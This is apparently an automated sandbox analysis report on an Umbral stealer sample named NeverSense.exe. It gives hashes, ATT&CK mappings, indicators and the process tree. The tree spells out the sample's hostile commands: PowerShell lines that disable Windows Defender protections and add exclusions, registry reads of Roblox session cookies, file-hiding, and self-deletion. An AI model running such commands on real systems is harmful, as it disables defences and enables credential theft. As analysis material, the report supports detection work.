umbral | a68b90e0481fc97117d68b197e3149e98f9040ea0b1b70f83a1f0de9825124d0

Analysis

max time kernel
96s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-01-2025 12:18

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General

Target

NeverSense.exe
Size

231KB
MD5

7414d4b850e9a986b199a741613a5fd0
SHA1

797ac658f7371c68e64e94b1ac5df8d80b120710
SHA256

a68b90e0481fc97117d68b197e3149e98f9040ea0b1b70f83a1f0de9825124d0
SHA512

ecec7ad30472c366a9bdada5de639471efd207a297c7652f17343bbd83f94b0486ade175b40272a31c052b7559c32ce4bd9fe8be0ad63fccbfb753db41ca6c00
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4YfF8Ye5xy9XKYZd8N3b8e1mu/i:joZtL+EP8YfF8Ye5xy9XKYZd8Bg

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2408-1-0x00000197F4210000-0x00000197F4250000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4864	powershell.exe
3396	powershell.exe
4168	powershell.exe
5112	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	NeverSense.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4116	cmd.exe
5080	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1936	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5080	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2408	NeverSense.exe
4864	powershell.exe
4864	powershell.exe
5112	powershell.exe
5112	powershell.exe
3396	powershell.exe
3396	powershell.exe
1868	powershell.exe
1868	powershell.exe
4168	powershell.exe
4168	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	NeverSense.exe
Token: SeIncreaseQuotaPrivilege	3664	wmic.exe
Token: SeSecurityPrivilege	3664	wmic.exe
Token: SeTakeOwnershipPrivilege	3664	wmic.exe
Token: SeLoadDriverPrivilege	3664	wmic.exe
Token: SeSystemProfilePrivilege	3664	wmic.exe
Token: SeSystemtimePrivilege	3664	wmic.exe
Token: SeProfSingleProcessPrivilege	3664	wmic.exe
Token: SeIncBasePriorityPrivilege	3664	wmic.exe
Token: SeCreatePagefilePrivilege	3664	wmic.exe
Token: SeBackupPrivilege	3664	wmic.exe
Token: SeRestorePrivilege	3664	wmic.exe
Token: SeShutdownPrivilege	3664	wmic.exe
Token: SeDebugPrivilege	3664	wmic.exe
Token: SeSystemEnvironmentPrivilege	3664	wmic.exe
Token: SeRemoteShutdownPrivilege	3664	wmic.exe
Token: SeUndockPrivilege	3664	wmic.exe
Token: SeManageVolumePrivilege	3664	wmic.exe
Token: 33	3664	wmic.exe
Token: 34	3664	wmic.exe
Token: 35	3664	wmic.exe
Token: 36	3664	wmic.exe
Token: SeIncreaseQuotaPrivilege	3664	wmic.exe
Token: SeSecurityPrivilege	3664	wmic.exe
Token: SeTakeOwnershipPrivilege	3664	wmic.exe
Token: SeLoadDriverPrivilege	3664	wmic.exe
Token: SeSystemProfilePrivilege	3664	wmic.exe
Token: SeSystemtimePrivilege	3664	wmic.exe
Token: SeProfSingleProcessPrivilege	3664	wmic.exe
Token: SeIncBasePriorityPrivilege	3664	wmic.exe
Token: SeCreatePagefilePrivilege	3664	wmic.exe
Token: SeBackupPrivilege	3664	wmic.exe
Token: SeRestorePrivilege	3664	wmic.exe
Token: SeShutdownPrivilege	3664	wmic.exe
Token: SeDebugPrivilege	3664	wmic.exe
Token: SeSystemEnvironmentPrivilege	3664	wmic.exe
Token: SeRemoteShutdownPrivilege	3664	wmic.exe
Token: SeUndockPrivilege	3664	wmic.exe
Token: SeManageVolumePrivilege	3664	wmic.exe
Token: 33	3664	wmic.exe
Token: 34	3664	wmic.exe
Token: 35	3664	wmic.exe
Token: 36	3664	wmic.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeIncreaseQuotaPrivilege	1464	wmic.exe
Token: SeSecurityPrivilege	1464	wmic.exe
Token: SeTakeOwnershipPrivilege	1464	wmic.exe
Token: SeLoadDriverPrivilege	1464	wmic.exe
Token: SeSystemProfilePrivilege	1464	wmic.exe
Token: SeSystemtimePrivilege	1464	wmic.exe
Token: SeProfSingleProcessPrivilege	1464	wmic.exe
Token: SeIncBasePriorityPrivilege	1464	wmic.exe
Token: SeCreatePagefilePrivilege	1464	wmic.exe
Token: SeBackupPrivilege	1464	wmic.exe
Token: SeRestorePrivilege	1464	wmic.exe
Token: SeShutdownPrivilege	1464	wmic.exe
Token: SeDebugPrivilege	1464	wmic.exe
Token: SeSystemEnvironmentPrivilege	1464	wmic.exe
Token: SeRemoteShutdownPrivilege	1464	wmic.exe
Token: SeUndockPrivilege	1464	wmic.exe
Token: SeManageVolumePrivilege	1464	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 3664	2408	NeverSense.exe	83
PID 2408 wrote to memory of 3664	2408	NeverSense.exe	83
PID 2408 wrote to memory of 1508	2408	NeverSense.exe	86
PID 2408 wrote to memory of 1508	2408	NeverSense.exe	86
PID 2408 wrote to memory of 4864	2408	NeverSense.exe	88
PID 2408 wrote to memory of 4864	2408	NeverSense.exe	88
PID 2408 wrote to memory of 5112	2408	NeverSense.exe	90
PID 2408 wrote to memory of 5112	2408	NeverSense.exe	90
PID 2408 wrote to memory of 3396	2408	NeverSense.exe	92
PID 2408 wrote to memory of 3396	2408	NeverSense.exe	92
PID 2408 wrote to memory of 1868	2408	NeverSense.exe	94
PID 2408 wrote to memory of 1868	2408	NeverSense.exe	94
PID 2408 wrote to memory of 1464	2408	NeverSense.exe	96
PID 2408 wrote to memory of 1464	2408	NeverSense.exe	96
PID 2408 wrote to memory of 4644	2408	NeverSense.exe	98
PID 2408 wrote to memory of 4644	2408	NeverSense.exe	98
PID 2408 wrote to memory of 4600	2408	NeverSense.exe	100
PID 2408 wrote to memory of 4600	2408	NeverSense.exe	100
PID 2408 wrote to memory of 4168	2408	NeverSense.exe	102
PID 2408 wrote to memory of 4168	2408	NeverSense.exe	102
PID 2408 wrote to memory of 1936	2408	NeverSense.exe	104
PID 2408 wrote to memory of 1936	2408	NeverSense.exe	104
PID 2408 wrote to memory of 4116	2408	NeverSense.exe	106
PID 2408 wrote to memory of 4116	2408	NeverSense.exe	106
PID 4116 wrote to memory of 5080	4116	cmd.exe	108
PID 4116 wrote to memory of 5080	4116	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1508	attrib.exe

C:\Users\Admin\AppData\Local\Temp\NeverSense.exe
"C:\Users\Admin\AppData\Local\Temp\NeverSense.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3664
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\NeverSense.exe"
  2⤵
  - Views/modifies file attributes
  PID:1508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NeverSense.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1464
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4644
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4168
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1936
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\NeverSense.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
04dba2e0763acb9b83dcb94ca0f4c2bd

SHA1
626394aea6be984d4817a88a591fea246bf4a362

SHA256
6590267fae391a722c4b8c759c88d9e694daac163148aad7e69faebe045b75e5

SHA512
1f0dff8f0a7d51ba949d994a6194eeb6d376da60769c0ea99d13c39242327a6bb5d4241b890ff0d29b17e39243b4ba1d9aa00ca952c54bbf13ea2abd95d1eb12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dc0028a217860b1b603d557764235ea7

SHA1
35b1d88f49dcfcee85015b1d48e0f59a6506bcfb

SHA256
895ca3943f094ec4106ad021a301b4349bfc50a7b8f1f560c3c7fd95329b4d35

SHA512
62b378b8af9ca7649c59e35d2697deea2dca26d3023a5d29114b67f218d6b3102debaf84d76525ce6480febeb893027cd574ac9eff56d35ab326a352844bd878

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tglg1rl0.oa1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2408-72-0x00000197F5FB0000-0x00000197F5FBA000-memory.dmp

Filesize
40KB

Download
memory/2408-35-0x00000197F6A70000-0x00000197F6A8E000-memory.dmp

Filesize
120KB

Download
memory/2408-93-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/2408-73-0x00000197F5FF0000-0x00000197F6002000-memory.dmp

Filesize
72KB

Download
memory/2408-2-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/2408-33-0x00000197F69A0000-0x00000197F6A16000-memory.dmp

Filesize
472KB

Download
memory/2408-34-0x00000197F6A20000-0x00000197F6A70000-memory.dmp

Filesize
320KB

Download
memory/2408-0-0x00007FFDD3503000-0x00007FFDD3505000-memory.dmp

Filesize
8KB

Download
memory/2408-1-0x00000197F4210000-0x00000197F4250000-memory.dmp

Filesize
256KB

Download
memory/4864-15-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-12-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-14-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-13-0x000001BDFE470000-0x000001BDFE492000-memory.dmp

Filesize
136KB

Download
memory/4864-18-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download